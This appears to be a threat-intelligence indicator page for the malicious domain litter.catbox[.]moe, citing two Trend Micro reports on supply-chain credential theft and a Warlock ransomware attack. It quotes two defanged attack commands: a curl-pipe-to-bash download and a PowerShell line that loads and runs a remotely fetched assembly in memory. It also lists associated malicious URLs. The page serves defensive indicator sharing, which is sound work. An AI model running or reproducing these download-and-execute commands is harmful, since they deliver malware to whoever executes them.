litter.catbox[.]moeDomain
Reported by 1 independent source · first reported by Trend Micro Research · last reported
Last reported 5 months ago
What the reports say
2 reports, newest first · the exact sentence from each-
Analyzing TeamPCP’s Supply Chain Attacks: Checkmarx KICS and elementary-data in CI/CD Credential Theft“curl -sSL https[://]litter.catbox[.]moe/iqesmbhukgd2c7hq.sh | bash”
-
Web Shells, Tunnels, and Ransomware: Dissecting a Warlock Attack“…:SecurityProtocol = [Net.SecurityProtocolType]::Tls12;[Reflection.Assembly]::Load((New-Object Net.WebClient).DownloadData('hxxps://litter.catbox[.]moe/zqqxb3.txt')).EntryPoint.Invoke($null, (, [string[]] (\"4567\")))"]”
Indicators reported together
named in the same reports- code.translatevv[.]comin 1 report
- hxxps://vdfccjpnedujhrzscjtq.supabase[.]co/storage/v1/object/public/image/v4.msiin 1 report
Copy these 2 indicators · defanged
Thanks — we review every report.